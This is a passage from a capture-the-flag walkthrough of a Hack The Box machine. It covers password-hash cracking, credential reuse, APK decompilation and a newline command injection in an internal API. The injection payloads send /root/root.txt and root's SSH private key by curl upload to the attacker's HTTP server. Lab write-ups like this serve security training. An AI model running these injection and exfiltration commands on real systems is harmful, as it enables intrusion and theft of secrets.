vim grafana-salted.hashes
# paste from clipboard
Now we can try using the tool
git clone https://github.com/iamaldi/grafana2hashcat.git
python3 grafana2hashcat/grafana2hashcat.py -o grafana.hc10900 grafana-salted.hashes
# Tool reports success :) Let's crack 'em!
hashcat -m 10900 grafana.hc10900 /usr/share/wordlists/rockyou.txt
Within a few seconds, one of the two passwords was cracked!
That’s the second of the two hashes we provided, so we just got ghubble@bigbang.htb : bigbang
😁
Since this came from the Grafana DB, we’re guaranteed a login there:
However, it looks like ghubble
doesn’t actually have any dashboards defined. To me, this is a strong indication that the box creator only included Grafana as a thing for holding password hashes… and that the true intention was credential re-use 🤔
Credential reuse (again)
There are still three accounts to test: ghubble
, developer
, and of course root
. It’s likely this password was for ghubble
:
ssh ghubble@$RADDR # Nope
ssh developer@$RADDR # Yep!!
Local enumeration - developer
It didn’t take very long to figure out what makes developer
different from the other users:
Note the name, satellite-app. Could this be related to what we saw earlier when checking ps aux
? It was an elevated process:
/usr/bin/python3 /root/satellite/app.py
It seems like a pretty likely P.E. clue, so I’ll dive into this right away.
Satellite App - Decompilation
First, I’ll download a copy to my attacker host using SCP:
cd source
scp developer@$RADDR:/home/developer/android/satellite-app.apk ./
Now, we can decompile using apktool:
apktool d satellite-app.apk -o ./satellite-app
Normally I’d take the output of apktool and run the classes.dex
file through dex2jar
, but for some reason apktool did not produce a classes.dex
file this time.
Instead, I’ll try loading satellite-app.apk
into JADX-GUI
I didn’t have JADX yet, so I had to install it from the kali repos:
sudo apt install jadx
I loaded the apk
file into JADX, then went looking around manually through the app. It is a very large app, and has a LOT of resource files. Also, the source code seems to be stripped of its symbols for the most part, so the code is quite difficult to read (the symbol names are mostly auto-generated by the decompiler).
Thankfully though, all of the string literals are retained! We can just open up a search box and try to find some goodies 🎁
I searched for “pass”, “password”, “credential”, “login”, and eventually found something useful in u.AsyncTaskC0228f.a()
:
That looks a lot like an API endpoint. Exactly what I was hoping for! Now I won’t need to enumerate the app at port 9090 (which I can now assume is this satellite-app
). Let’s check for other endpoints:
Looks like there’s only two. Here’s the snippets of Java that show us the API details:
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/login").openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Accept", "application/json");
// ...
HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/command").openConnection();
httpURLConnection2.setRequestMethod("POST");
httpURLConnection2.setRequestProperty("Content-Type", "application/json");
httpURLConnection2.setRequestProperty("Authorization", "Bearer " + ((MoveCommandActivity)contextWrapper).f1999q);
httpURLConnection2.setDoOutput(true);
// ...
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://app.bigbang.htb:9090/command").openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Authorization", "Bearer " + this.f3687b.f2003p);
httpURLConnection.setDoOutput(true);
String str = "{\"command\": \"send_image\", \"output_file\": \"" + this.f3686a + "\"}";
OutputStream outputStream = httpURLConnection.getOutputStream();
// ...
Satellite App - API
Summarizing the above, we see:
- POST /login Body unknown. Probably credentials. Hopefully anonymous!
- POST /command
Headers:
Authorization: Bearer {token}
Body: JSON of{"command": "send_image", "output_file": ???}
I’m hoping that the /login
endpoint returns a bearer token to us. Let’s try it out:
OK, so the endpoint requires JSON. What keys should be in the JSON?
Perfectly sensible. No idea what the credentials are, though. Let’s check for credential re-use yet again:
- Usernames:
shawking
,ghubble
,developer
,root
- Passwords:
quantumphysics
,bigbang
Great! Looks like we can use developer : bigbang
. Let’s try using the auth token for the /command
endpoint now.
We already saw in the source code that the auth token is valid for only two minutes.
TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"/tmp/1.png"}'
At this point, we need to imagine what the code for /root/satellite/app.py
looks like. Clearly it’s running some API. On the /command
endpoint, we know it’s checking for the command
and output_file
keys. Maybe it’s something like this:
@app.route('/command', methods=['POST'])
def command():
# Check Auth header
auth_header = request.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Bearer '):
return jsonify({'error': 'Unauthorized'}), 401
if not is_token_valid(request.headers.get('Authorization')):
return jsonify({'error': 'Unauthorized'}), 401
# Parse JSON body
data = request.get_json()
if not data or 'command' not in data or 'output_file' not in data:
return jsonify({'error': 'Bad Request', 'message': 'Missing command or output_file'}), 400
command = data['command']
output_file = data['output_file']
if command == 'send_image':
# Take a picture;
# Copy the picture to the output_file filepath?
# ...?
return jsonify({'message': 'Command received', 'command': command, 'output_file': output_file}), 200
Depending on the logic inside the branch of code that “takes a picture”, we might be able to trick it. Since it’s handling files, perhaps the developer was lazy and used OS commands instead of a bytewise copy in python 🤔
Satellite App - Command Injection
Let’s try inserting a command injetion in the filepath:
TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"/tmp;touch /tmp/hi"}'
# {"error":"Output file path contains dangerous characters"}
Aha! The fact that it needs to even check indicates that maybe there is a flaw in the code 😏
Let’s try a polyglot of linux OS command injection characters and see if any work:
;||&&\n$(touch /tmp/hi)
❌ “400 Bad Request”;
“Error: dangerous characters” ❌&&
“Error: dangerous characters” ❌||
“Error: dangerous characters” ❌\n
“Error: Error reading image file” 👀
The newline character worked. We can do OS command injection using the filepath!
I’m still running an HTTP server on my attacker host. Maybe we can just leak the flag? I’ll try a file upload using cURL:
TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"\ncurl -F 'file=@/root/root.txt' http://10.10.14.14:8001"}'
🎉 It worked! We can read the flag from the HTTP server root now:
cat www/root.txt
Holy moly that was tough 😩
EXTRA CREDIT
SSH as root
Since we already have a way to exfil files by uploading them to the HTTP server, let’s just check to see if there is an RSA SSH key in the root directory (there often is):
TOKEN=$(curl -s localhost:9090/login -H 'Content-Type: application/json' --data '{"username":"developer","password":"bigbang"}' | cut -d '"' -f 4); curl localhost:9090/command -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' --data '{"command":"send_image", "output_file":"\ncurl -F 'file=@/root/.ssh/id_rsa' http://10.10.14.14:8001"}'
Yep, there’s totally a key there. And by the length of it, it looks like it’s probably valid:
I’ll move this out of my HTTP server asap, so no other HTB players get it off my server inadvertently:
mv www/id_rsa loot/root_id_rsa
chmod 600 loot/root_id_rsa
ssh -i loot/root_id_rsa root@$RADDR
Alas, there’s still a password on the account. Oh well! 🤷♂️
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf ./source/*
rm -rf ./loot/*
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
📚 Vuln research. Do it early and often. We’re just CTF runners, but there are people that find vulnerabilities and craft exploits for a living. Thankfully, they’re often really open about their findings. Stand on the shoulders of giants, and try to figure out how you can apply their hard work to your target.
💔 Break your exploit into small, verifiable pieces. The more complex an attack path, the more points of failure there are. It can be overwhelming to try to create a whole exploit all in one step. It’s best to take some extra time to see how you can break the exploit down into small pieces. I like to think of them as waypoints on the route to your final exploit.

Defender
😖 Don’t use Wordpress. Yeah that’s right, I said it. It’s bloated and the plugin system is ugly. It takes way too much memory to run, too. It’s really well-documented, but my personal opinion is that its ecosystem has simply grown too large to be controlled. There’s a reason that Wordpress is their own CVE numbering authority… It’s great for attackers, though.
⛔ Credential reuse is super bad. If it weren’t for a few spots where credentials were reused, this box would have been nigh impossible. It was segmented into several different docker containers, and we would have had to work a lot hard post-foothold to finally reach root. Thankfully, a few accounts had some reused creds that weren’t too hard to crack.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake